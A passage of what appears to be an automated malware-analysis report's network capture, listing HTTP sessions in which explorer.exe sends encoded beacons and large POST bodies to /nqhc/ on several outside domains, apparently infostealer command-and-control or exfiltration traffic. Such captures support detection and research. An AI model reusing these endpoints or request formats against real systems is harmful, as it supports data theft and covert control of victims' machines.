Nov 21, 2022 19:21:08.620088100 CET	728	OUT	Data Raw: 78 48 43 33 74 72 54 67 42 61 6a 79 72 35 74 45 37 76 6a 69 4e 7e 54 77 2d 4b 72 53 4e 48 45 38 45 67 51 77 52 4a 47 78 52 59 38 36 4b 63 51 39 4a 28 65 4b 59 4f 44 61 31 68 4e 34 35 6b 48 32 36 62 4e 7e 52 70 6d 55 6d 78 49 78 56 28 6c 47 49 59 Data Ascii: xHC3trTgBajyr5tE7vjiN~Tw-KrSNHE8EgQwRJGxRY86KcQ9J(eKYODa1hN45kH26bN~RpmUmxIxV(lGIYjCnnbCdnlAEeL2EU1eo1FHTVVWaPhQcP_xXVMrFzZvhA-LKRntZ4FiLh4Ca~O0jZq~if7pmo8z0LkfyC1Ywan82V5hfa-qhAFCpEz9cDkD2jHWmxNGjn_VuwYZql1NTjY1OAX4eXSMOXzU3WoqoAEseQ-MZ7QM0R8
Nov 21, 2022 19:21:08.620249987 CET	736	OUT	Data Raw: 39 75 6d 56 64 46 65 79 50 30 53 33 55 5a 38 39 54 66 78 49 7a 46 52 46 30 51 59 7a 59 34 41 52 34 49 52 4c 38 43 5a 50 70 78 67 67 59 71 67 7e 5a 58 46 6e 6d 32 61 49 62 61 46 56 32 6e 55 74 2d 62 30 34 52 55 38 6c 63 64 51 4c 48 76 47 31 2d 52 Data Ascii: 9umVdFeyP0S3UZ89TfxIzFRF0QYzY4AR4IRL8CZPpxggYqg~ZXFnm2aIbaFV2nUt-b04RU8lcdQLHvG1-R3EKffbMc4eR0dWh8wSCIWEHbyeZuQQOHdPMPDPTXRnAT8N6z_jU~tDO3FQUYfWK4IuPXr0F3va2sdgCSUyxM2PzvSmA(outHbFP7v4wPGQ8bNP0ys2yEDPscLC-D0niiKV_L63Neh(MVJ0-I1KN(DOh0l8w12JbJT
Nov 21, 2022 19:21:08.620412111 CET	738	OUT	Data Raw: 56 79 66 73 42 69 32 74 69 30 38 49 59 55 78 4d 36 6f 56 72 66 37 6c 62 63 66 69 63 76 31 6c 4b 63 52 59 76 35 73 71 59 45 77 55 51 56 30 31 6f 50 70 74 59 59 45 51 70 55 75 6f 45 47 5a 70 69 74 59 57 39 35 28 43 4d 51 39 32 72 70 4f 37 7e 4c 37 Data Ascii: VyfsBi2ti08IYUxM6oVrf7lbcficv1lKcRYv5sqYEwUQV01oPptYYEQpUuoEGZpitYW95(CMQ92rpO7~L7ETBJM1j42hxWfvgseNYULuawijE1IChJm4oMdSuDqpXr8d_b9rsITTl6Sj7HEW5kY~PO0o7AcyZsjZsR2j9GU9SWhE5UA9Op18SMrhnnab7OlrCfsIe3GaChH5ynhQJJHCm8VIoRroWQux144z8qVGClyYHpes9c2
Nov 21, 2022 19:21:08.620790958 CET	741	OUT	Data Raw: 65 4d 6c 52 66 4e 53 35 37 51 64 51 4d 31 61 47 65 6d 4f 43 7a 71 30 55 61 67 77 61 36 63 37 56 44 7a 35 30 6c 56 7a 46 76 31 52 7a 7a 58 4d 4c 4d 75 73 55 53 37 38 59 30 34 70 68 5f 35 42 37 62 50 6f 7e 33 51 43 36 6d 67 33 6e 33 34 51 28 71 36 Data Ascii: eMlRfNS57QdQM1aGemOCzq0Uagwa6c7VDz50lVzFv1RzzXMLMusUS78Y04ph_5B7bPo~3QC6mg3n34Q(q6eRLAmlzn3Jsn3KSH5uUXLlQtAnPCZ17iA(28ry9dzw-AXuE6jQeC4ow0nO8ar78CQ(OAyits4tixjTEBdeH4QCedcR-ltxJGxzDBFdPNbq6XM4K9iuhLDrFH8If(SS-yZv7lD~JsxEKF0pU2p~yRRNpw1~N~gXJT0
Nov 21, 2022 19:21:08.621170998 CET	744	OUT	Data Raw: 69 45 4b 50 50 68 6a 68 72 36 56 72 63 74 46 51 33 53 68 78 58 77 47 78 6e 66 2d 67 52 49 71 61 41 6a 35 4d 56 7a 37 56 6f 68 4e 70 4a 4e 6d 51 4f 64 44 32 30 4a 30 71 4e 28 36 61 7a 68 5f 6c 46 68 78 70 4a 64 67 28 51 5a 69 43 69 31 4d 64 64 7e Data Ascii: iEKPPhjhr6VrctFQ3ShxXwGxnf-gRIqaAj5MVz7VohNpJNmQOdD20J0qN(6azh_lFhxpJdg(QZiCi1Mdd~Jc-SflFEKpsKVrTQZ5VXfd0O3eEtMrk8i3anJToHuP5npsPqRbm568wsCwx9bXWWCnNUWapvEz2xi1IFv2MxaLTNmdAqIBXCIJCuFzE9KJb3dIR4OzjKSYM960MxxVfjv7wySJ-5Otzir5MI0jzFNRTl3GkYMOPyI
Nov 21, 2022 19:21:08.621341944 CET	746	OUT	Data Raw: 64 39 4a 55 50 39 46 6b 55 7e 62 66 39 43 56 43 78 63 5f 58 71 50 42 69 6c 33 32 75 63 42 41 61 6d 4e 37 66 63 37 54 71 67 6b 4e 6a 63 47 6c 71 5f 4c 30 4c 68 4d 6f 42 43 62 4f 48 57 7e 53 78 62 66 5f 35 4a 77 79 79 5f 47 32 67 6a 62 73 5a 58 4e Data Ascii: d9JUP9FkU~bf9CVCxc_XqPBil32ucBAamN7fc7TqgkNjcGlq_L0LhMoBCbOHW~Sxbf_5Jwyy_G2gjbsZXN7eyEv2vyg4PJtAIrFXOsC4pPvO-RTGCKd36Hym4(vIo7Qhnu34sRqQNb4tEvTz27NP_KqlpX83N9fvzC4GsCK5iBox3ttD62osZJX1LNyWrADs9FzX3OtlrNPEMSf38(GYq~gsFdAQRM_1TufqU9vMfVYDEzZdhu4
Nov 21, 2022 19:21:08.621678114 CET	749	OUT	Data Raw: 5f 6e 73 69 41 51 7a 4b 5f 61 55 78 34 65 4f 4f 7a 76 58 4e 68 50 39 34 38 69 5a 70 53 66 64 57 73 36 53 41 53 47 68 73 41 75 62 66 6c 58 58 67 74 34 5f 43 41 7e 47 76 43 45 51 45 33 75 52 56 30 36 66 5a 63 35 73 62 37 4d 58 4f 30 6b 46 78 5f 6d Data Ascii: _nsiAQzK_aUx4eOOzvXNhP948iZpSfdWs6SASGhsAubflXXgt4_CA~GvCEQE3uRV06fZc5sb7MXO0kFx_mG7lo57LpowxiwFCsxfYaGAls4rmHQSIEx80tfgALljwWjae0Ra5fmeXWlEFYT7IvcctVnXSQ3BcVQjhxZnC1Fmp2Tlx5cUBGkJu4LF7fp6CYA4Oa-D04rSRk8ittkk9iH5LqG4W(VHZfRo_ob7zaa8OuWpaD1ttsO
Nov 21, 2022 19:21:08.621849060 CET	751	OUT	Data Raw: 37 7a 68 71 49 7a 50 55 59 34 41 50 32 4d 70 75 66 75 6f 34 74 76 5f 51 45 57 78 41 38 37 58 7a 31 4a 52 46 45 72 38 68 37 6c 79 46 5a 7a 32 79 74 5a 6a 55 77 7e 6a 64 55 75 73 76 45 35 74 73 56 28 47 68 36 62 65 79 56 46 7a 4e 52 44 6e 68 6a 56 Data Ascii: 7zhqIzPUY4AP2Mpufuo4tv_QEWxA87Xz1JRFEr8h7lyFZz2ytZjUw~jdUusvE5tsV(Gh6beyVFzNRDnhjVSk6QY5VXZrw7Wf5XbmS7Let7wgH~Lod5tARA2X8YZpk~ayUEczRE9Czf6woYXLuy688GJB4MkIQXCSjDqEkBpTkz2HmQQp6ew(-(LZA26DWI749ZOuNV76W7pu3P6bK3ESMGubuJKVsYOgoI4(fn8VFGscH2vz5lz
Nov 21, 2022 19:21:08.783777952 CET	759	OUT	Data Raw: 34 59 2d 74 6e 59 57 6e 5f 76 44 64 4d 4d 67 34 5a 34 4c 54 36 77 4f 6e 31 44 2d 47 5f 59 50 76 7a 4c 6f 67 46 51 45 41 53 6d 48 72 41 63 73 74 6d 6f 63 61 70 66 4f 69 45 36 59 4c 6b 73 46 64 42 4d 75 59 57 4b 47 7a 41 69 43 35 6e 6c 76 65 61 64 Data Ascii: 4Y-tnYWn_vDdMMg4Z4LT6wOn1D-G_YPvzLogFQEASmHrAcstmocapfOiE6YLksFdBMuYWKGzAiC5nlvead3GwPti8EwArUoAYUEm_d0mG5LrA40IJwbICXFqFpkew~eFlGqlmmAMEP3H6I55t266fnpucJnL2ZDLxxbIKPtxWE_efIIXuIp8n7MEFn_sHcmlyOGw7SzK0BgUOaUFLHKxGUoVGBJhgZ0F0s-p0s_c18tDkcSwNZE
Nov 21, 2022 19:21:08.986124039 CET	767	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 21 Nov 2022 18:21:08 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 64 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 30 0d 0a 0d 0a Data Ascii: d404 Not Found0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.11.20	49841	38.55.15.214	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:21:10.643927097 CET	768	OUT	GET /nqhc/?r4txB=NmysUK8Sf6DpSokzhdS+Fe7Tw5OPNsso476sAEQMN+xhSdBax7kHE0kXg2GXcVgvb7a1o1nVZ7aHbSSwUgvcnfixvrsa7oZKWA==&1b=S8jD HTTP/1.1 Host: www.xiaoxiuzhen.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2022 19:21:10.812271118 CET	769	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 21 Nov 2022 18:21:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Data Raw: 31 0d 0a 2e 0d 0a 30 0d 0a 0d 0a Data Ascii: 1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.11.20	49844	3.13.90.76	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:21:16.190066099 CET	776	OUT	POST /nqhc/ HTTP/1.1 Host: www.gumba.shop Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.gumba.shop User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.gumba.shop/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 53 36 74 62 63 6f 6e 6b 39 56 64 2d 64 70 30 6f 68 78 4d 4d 78 31 43 43 63 66 69 6c 50 4e 6b 5f 72 4f 56 4c 52 44 6a 6b 4e 55 41 6a 5a 44 48 75 62 63 57 4c 64 6e 35 46 64 6a 69 5a 51 34 38 4b 38 65 53 56 4f 50 28 2d 6e 39 67 34 6c 57 49 35 6b 31 55 31 78 53 43 31 58 75 41 43 32 31 56 6e 65 31 4f 61 38 30 72 65 39 38 53 5f 62 72 28 4a 28 37 33 50 31 4d 4d 43 71 36 54 67 4b 76 58 54 49 76 79 65 7a 47 61 63 28 30 28 64 4b 58 67 71 52 73 73 34 55 6d 55 32 6b 51 4a 76 61 2d 4f 47 30 6e 56 79 72 71 55 6a 65 33 45 37 4d 44 62 43 33 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=S6tbconk9Vd-dp0ohxMMx1CCcfilPNk_rOVLRDjkNUAjZDHubcWLdn5FdjiZQ48K8eSVOP(-n9g4lWI5k1U1xSC1XuAC21Vne1Oa80re98S_br(J(73P1MMCq6TgKvXTIvyezGac(0(dKXgqRss4UmU2kQJva-OG0nVyrqUje3E7MDbC3w).
Nov 21, 2022 19:21:16.338378906 CET	777	IN	HTTP/1.1 404 Not Found Date: Mon, 21 Nov 2022 18:21:16 GMT Content-Type: text/html Content-Length: 153 Connection: close Server: nginx/1.16.1 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.11.20	49825	45.33.23.183	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:20:01.882328033 CET	492	OUT	GET /nqhc/?r4txB=LdV+lgJdmfuEMP3jUfrE9r0MLHENHMoAvR3n1HnrztGZNsUQ943e3pzfBc8//iPa0aHj65ptHNl5my2qaj9ZRSJvwgLgjYR0TA==&1b=S8jD HTTP/1.1 Host: www.labour-office.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2022 19:20:02.018975019 CET	492	IN	HTTP/1.1 404 Not Found server: openresty/1.13.6.1 date: Mon, 21 Nov 2022 18:20:01 GMT content-type: text/html content-length: 175 connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 33 2e 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>openresty/1.13.6.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.11.20	49845	3.13.90.76	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:21:18.358172894 CET	778	OUT	POST /nqhc/ HTTP/1.1 Host: www.gumba.shop Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.gumba.shop User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.gumba.shop/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 53 36 74 62 63 6f 6e 6b 39 56 64 2d 62 35 45 6f 6a 53 30 4d 33 56 43 42 41 76 69 6c 47 74 6b 37 72 4f 5a 4c 52 43 33 30 59 79 51 6a 59 68 66 75 61 5a 36 4c 4f 58 35 46 53 44 69 41 64 59 38 5f 38 65 65 73 4f 4f 44 2d 6e 35 41 34 6b 6b 51 35 74 6c 55 36 37 79 43 30 42 2d 41 42 39 56 56 78 65 31 53 73 38 77 72 65 39 4d 7e 5f 4a 35 6e 4a 73 36 33 4d 34 4d 4d 41 73 36 54 6a 52 5f 58 6a 49 76 33 6a 7a 48 69 69 7e 47 6a 64 4c 7a 51 71 44 63 73 5f 42 6d 55 50 6f 77 4a 2d 4a 2d 75 43 38 47 4e 36 79 62 34 65 54 46 39 56 49 6e 4b 2d 68 47 57 4b 77 7a 54 5f 31 70 67 6c 38 72 79 62 28 36 35 5f 41 73 54 6b 6e 73 69 32 76 32 6d 72 57 5f 73 37 79 57 6f 67 70 56 69 5a 67 65 34 33 30 37 41 31 68 72 73 79 31 51 78 71 55 41 73 4c 39 6b 65 2d 28 6d 7a 61 46 70 72 33 6a 30 50 74 64 79 56 4a 6c 62 67 34 7e 4f 55 7a 57 61 4b 43 38 46 70 53 58 48 55 4b 41 42 32 59 4c 65 6c 41 57 6c 69 44 6c 46 6c 6a 6b 36 76 31 39 72 76 74 64 51 66 6e 4d 65 4f 69 49 4e 57 6a 4d 5f 38 6c 74 63 47 50 4f 4c 48 7a 50 75 30 72 47 66 30 30 61 47 61 6a 7a 46 62 4d 6f 75 72 34 4e 6a 45 35 41 45 55 68 37 68 28 33 74 62 6b 39 6f 49 7a 78 6d 75 79 6f 49 30 34 34 54 2d 77 71 6d 4e 49 61 45 54 53 33 4d 76 71 4c 51 7a 74 51 37 67 61 57 6d 63 4b 4c 6c 74 39 45 63 39 7a 7a 4f 43 4e 79 4d 4c 56 39 4b 47 33 32 31 4b 74 48 75 74 72 38 5a 5a 6d 34 38 42 35 53 75 71 47 65 79 69 4e 30 49 6c 6a 58 68 79 6a 73 34 69 57 64 44 57 36 47 74 41 4a 64 53 39 6b 68 44 46 72 7a 62 44 53 57 38 31 39 49 6a 74 6b 66 48 65 75 6e 62 51 72 71 4b 37 4f 32 52 2d 53 41 53 48 4f 5a 64 41 7e 48 50 4a 79 5f 70 34 63 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=S6tbconk9Vd-b5EojS0M3VCBAvilGtk7rOZLRC30YyQjYhfuaZ6LOX5FSDiAdY8_8eesOOD-n5A4kkQ5tlU67yC0B-AB9VVxe1Ss8wre9M~_J5nJs63M4MMAs6TjR_XjIv3jzHii~GjdLzQqDcs_BmUPowJ-J-uC8GN6yb4eTF9VInK-hGWKwzT_1pgl8ryb(65_AsTknsi2v2mrW_s7yWogpViZge4307A1hrsy1QxqUAsL9ke-(mzaFpr3j0PtdyVJlbg4~OUzWaKC8FpSXHUKAB2YLelAWliDlFljk6v19rvtdQfnMeOiINWjM_8ltcGPOLHzPu0rGf00aGajzFbMour4NjE5AEUh7h(3tbk9oIzxmuyoI044T-wqmNIaETS3MvqLQztQ7gaWmcKLlt9Ec9zzOCNyMLV9KG321KtHutr8ZZm48B5SuqGeyiN0IljXhyjs4iWdDW6GtAJdS9khDFrzbDSW819IjtkfHeunbQrqK7O2R-SASHOZdA~HPJy_p4c.
Nov 21, 2022 19:21:18.505521059 CET	779	IN	HTTP/1.1 404 Not Found Date: Mon, 21 Nov 2022 18:21:18 GMT Content-Type: text/html Content-Length: 153 Connection: close Server: nginx/1.20.1 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.20.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.11.20	49846	3.13.90.76	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:21:20.529202938 CET	787	OUT	POST /nqhc/ HTTP/1.1 Host: www.gumba.shop Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.gumba.shop User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.gumba.shop/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 53 36 74 62 63 6f 6e 6b 39 56 64 2d 62 35 45 6f 6a 53 30 4d 33 56 43 42 41 76 69 6c 47 74 6b 37 72 4f 5a 4c 52 43 33 30 59 79 59 6a 5a 55 4c 75 62 36 69 4c 66 6e 35 46 4d 54 69 46 64 59 38 59 38 65 33 6b 4f 4f 50 78 6e 5f 4d 34 6b 7a 30 35 74 58 4d 36 7e 79 43 33 66 4f 41 44 32 31 55 74 65 31 4f 34 38 30 48 4f 39 38 61 5f 62 72 76 4a 7e 5a 50 50 67 4d 4d 43 73 36 54 76 56 5f 58 72 49 76 37 4e 7a 48 75 69 7e 45 58 64 4b 43 73 71 42 72 59 5f 5a 47 55 4d 69 51 4a 37 65 75 76 36 38 47 59 4a 79 62 34 4f 54 45 35 56 49 67 65 2d 67 48 57 4c 7e 7a 54 5f 32 70 67 6d 34 72 75 66 28 36 6b 71 41 73 33 6b 6e 72 6d 32 7e 6d 6d 72 48 71 41 38 6b 6d 6f 6d 7e 6c 6a 66 6b 65 38 5f 30 37 46 47 68 70 41 79 32 67 4e 71 56 7a 30 4c 75 56 65 2d 6a 57 7a 59 4a 35 72 6f 32 45 4f 70 64 78 39 7a 6c 62 42 4e 7e 4e 59 7a 58 37 47 43 35 6e 4e 54 52 6e 55 4d 4d 68 32 4a 41 2d 34 50 57 68 47 66 6c 46 6c 7a 6b 34 44 31 36 62 66 74 63 53 6e 6b 50 4f 4f 6c 45 74 58 37 48 66 77 6a 74 63 71 48 4f 4b 50 6a 50 74 59 72 55 76 30 30 52 41 54 31 39 31 62 50 71 75 72 51 41 44 46 5f 41 45 51 4c 37 6c 6e 6e 74 4c 59 39 70 35 44 78 33 75 79 6e 4f 55 34 38 5a 65 77 6f 69 4e 49 61 45 54 66 47 4d 76 6d 4c 51 43 46 51 35 54 79 57 32 61 43 4c 6e 74 39 34 63 39 7a 59 4f 43 52 5f 4d 4c 64 66 4b 47 47 62 31 50 64 48 33 5a 50 38 59 62 4f 37 33 68 35 74 6b 4b 47 33 32 6a 77 79 49 6c 28 6c 68 79 7a 57 34 52 53 64 43 57 71 47 28 77 4a 65 58 64 6b 71 55 31 72 6c 4d 54 65 30 38 78 6b 39 6a 73 67 70 48 65 47 6e 66 47 43 75 50 5f 4b 41 49 4e 44 70 53 42 53 71 64 57 32 32 4b 4e 4f 59 71 65 71 2d 4d 4b 78 44 31 34 42 65 58 43 4d 37 6a 45 49 41 65 59 51 4f 41 7a 41 53 59 49 68 32 44 72 58 4e 64 56 32 73 49 6c 61 75 6b 73 35 37 5a 78 33 63 53 42 4f 5a 41 62 4c 6b 6d 4d 4a 53 39 5f 34 30 78 4a 54 72 75 79 6d 64 71 78 32 48 4f 43 41 55 55 39 39 7a 57 53 31 2d 6d 49 70 52 39 61 58 5a 44 63 59 4e 6a 72 4b 4d 38 58 6a 68 73 55 6c 67 46 71 30 6b 7a 53 4f 46 47 56 4a 5f 68 6a 59 79 44 53 6f 4d 52 68 36 77 64 53 54 4e 59 47 41 65 79 63 6d 56 56 70 45 5f 6f 36 6b 46 6d 6f 38 43 76 5f 38 30 35 5a 33 33 70 39 6d 68 67 67 49 64 42 6c 41 56 65 62 6e 44 42 77 70 6f 41 46 67 56 58 2d 75 74 33 42 57 4a 5a 2d 6f 6e 6a 64 50 35 38 6e 55 52 79 73 54 53 66 4f 4b 56 36 4a 77 68 67 64 63 70 65 49 46 6b 61 37 34 6a 36 2d 57 5a 64 6f 70 71 28 41 43 4f 53 57 5a 6e 6e 51 51 6e 50 66 46 50 6b 4d 28 51 63 4d 4a 64 57 2d 76 56 74 72 68 31 54 61 6c 51 44 38 72 79 49 32 36 37 33 45 54 6f 28 77 64 59 74 69 46 48 41 79 58 4e 31 6d 71 56 78 6c 69 46 74 71 51 55 4f 31 74 54 78 2d 35 4e 35 73 55 6b 42 4f 62 4e 4f 67 46 33 7e 61 57 61 50 6e 65 58 58 6a 72 6d 70 4c 65 68 4f 49 37 4b 71 58 46 44 39 74 71 6e 74 56 28 74 56 77 56 31 6e 72 28 5a 7e 6e 39 33 73 73 37 45 37 35 6f 56 4b 56 79 59 71 38 30 52 53 52 66 63 67 73 66 44 33 4d 31 44 78 44 34 4a 70 6b 38 37 46 48 52 2d 53 4e 76 2d 37 34 32 41 48 47 4c 62 45 44 34 74 46 4a 4f 47 4a 5a 38 68 48 31 4d 4b 58 52 76 69 30 52 57 31 46 48 54 4e 71 41 53 4d 28 70 58 67 51 36 43 52 45 75 4a 6b 79 38 74 61 30 6f 70 72 71 61 46 5f 5a 44 41 62 7a 59 30 6d 5a 74 77 5f 39 5a 5a 45 4d 51 52 68 51 71 6a 53 37 50 67 64 38 65 58 56 4b 77 78 68 6e 4d 79 4d 4b 75 45 62 4f 78 59 74 33 75 6e 44 72 53 58 6d 55 74 66 41 78 63 4a 32 65 54 68 32 32 6d 53 6f 4c 63 43 39 31 65 57 47 59 63 74 37 72 64 35 61 6d 63 53 6b 65 39 41 74 56 65 31 39 66 44 6d 33 31 34 4d 43 4b 66 6d 5f 48 54 67 65 52 6b 47 52 4f 43 67 6b 59 57 63 4e 56 68 50 72 48 45 73 48 39 49 69 33 79 62 57 47 56 74 4c 4e 54 57 41 68 45 39 70 68 47 67 5a 77 64 6e 77 62 6d 4d 71 6a 41 77 4e 75 35 78 7a 4e 38 2d 28 48 33 62 70 67 51 74 62 37 49 77 65 73 70 4f 4e 31 7e 48 79 56 38 34 68 65 7e 38 31 50 28 61 67 4e 31 38 78 37 4c 6e 65 48 59 2d 4d 36 71 59 7a 77 44 67 51 6f 78 79 39 2d 67 31 42 2d 63 6f 49 68 70 79 34 54 59 42 73 56 66 6e 63 42 77 74 72 77 53 43 6c 6d 72 68 39 64 42 54 31 79 68 74 45 46 47 71 4c 74 61 79 78 35 75 39 54 43 4a 67 4c 79 37 55 31 70 34 58 59 4c 31 6d 31 6f 6c 44 6c 68 36 78 36 2d 56 4f 4a 4d 53 53 5a 51 4f 35 76 72 28 53 43 47 55 68 30 4e 65 6a 47 45 68 31 59 68 72 30 35 78 34 44 59 4e 57 Data Ascii: r4txB=S6tbconk9Vd-b5EojS0M3VCBAvilGtk7rOZLRC30YyYjZULub6iLfn5FMTiFdY8Y8e3kOOPxn_M4kz05tXM6~yC3fOAD21Ute1O480HO98a_brvJ~ZPPgMMCs6TvV_XrIv7NzHui~EXdKCsqBrY_ZGUMiQJ7euv68GYJyb4OTE5VIge-gHWL~zT_2pgm4ruf(6kqAs3knrm2~mmrHqA8kmom~ljfke8_07FGhpAy2gNqVz0LuVe-jWzYJ5ro2EOpdx9zlbBN~NYzX7GC5nNTRnUMMh2JA-4PWhGflFlzk4D16bftcSnkPOOlEtX7HfwjtcqHOKPjPtYrUv00RAT191bPqurQADF_AEQL7lnntLY9p5Dx3uynOU48ZewoiNIaETfGMvmLQCFQ5TyW2aCLnt94c9zYOCR_MLdfKGGb1PdH3ZP8YbO73h5tkKG32jwyIl(lhyzW4RSdCWqG(wJeXdkqU1rlMTe08xk9jsgpHeGnfGCuP_KAINDpSBSqdW22KNOYqeq-MKxD14BeXCM7jEIAeYQOAzASYIh2DrXNdV2sIlauks57Zx3cSBOZAbLkmMJS9_40xJTruymdqx2HOCAUU99zWS1-mIpR9aXZDcYNjrKM8XjhsUlgFq0kzSOFGVJ_hjYyDSoMRh6wdSTNYGAeycmVVpE_o6kFmo8Cv_805Z33p9mhggIdBlAVebnDBwpoAFgVX-ut3BWJZ-onjdP58nURysTSfOKV6JwhgdcpeIFka74j6-WZdopq(ACOSWZnnQQnPfFPkM(QcMJdW-vVtrh1TalQD8ryI2673ETo(wdYtiFHAyXN1mqVxliFtqQUO1tTx-5N5sUkBObNOgF3~aWaPneXXjrmpLehOI7KqXFD9tqntV(tVwV1nr(Z~n93ss7E75oVKVyYq80RSRfcgsfD3M1DxD4Jpk87FHR-SNv-742AHGLbED4tFJOGJZ8hH1MKXRvi0RW1FHTNqASM(pXgQ6CREuJky8ta0oprqaF_ZDAbzY0mZtw_9ZZEMQRhQqjS7Pgd8eXVKwxhnMyMKuEbOxYt3unDrSXmUtfAxcJ2eTh22mSoLcC91eWGYct7rd5amcSke9AtVe19fDm314MCKfm_HTgeRkGROCgkYWcNVhPrHEsH9Ii3ybWGVtLNTWAhE9phGgZwdnwbmMqjAwNu5xzN8-(H3bpgQtb7IwespON1~HyV84he~81P(agN18x7LneHY-M6qYzwDgQoxy9-g1B-coIhpy4TYBsVfncBwtrwSClmrh9dBT1yhtEFGqLtayx5u9TCJgLy7U1p4XYL1m1olDlh6x6-VOJMSSZQO5vr(SCGUh0NejGEh1Yhr05x4DYNWCqmmFUKNtY1tVr4HA9O(nutFLhEgNcCi-pwyqQvVct1xvpcYw~ie8N-CqlYRpAdhsax24h20kmX81Ml68bRXnVjbCa8K4kK7s7Ff0TyTp3hQwiG3kcMYFaLcl(u4R(tgG9AEqJ9pz4ed1xGG2bRvhOK7qJWnwAqJsSQmuwmnl9TvczbkeOnFAPmwPa9otIWDQGT7Xr0nv27m9aTy0fHkh9jvwtmFn4L5mhz1X4BqJ3lbpKWGOJW9YF_~oiB~ZmYy22HuBlzPAVaAGBrRsXlPth9JdGfYNO6LPmlGCvd3NHbD5gVy1dvKT0SYe4bvYebQBz07OVRF3f9rPHzDxBUOvpK6evoeiSXB2OR00wZlrR1UkZmrIr31grp~t(cavGJkSoREUixFZMndUKWeHOS9QzlACUc40rZG5Wwi_mVi939yAykCXvuQNoGn_PxsKU27_5IA6aEu0n9dfBhKoEYM0Y9EdMCoof74scIJwMxLIm3eZO2G8i8I0v1KJySb2IydbH2uR94JdcK75nToPgzfYH7yjDxOo83UeiP~l8I5jln59jvSLkuvyRxKKzEo9jGjtExR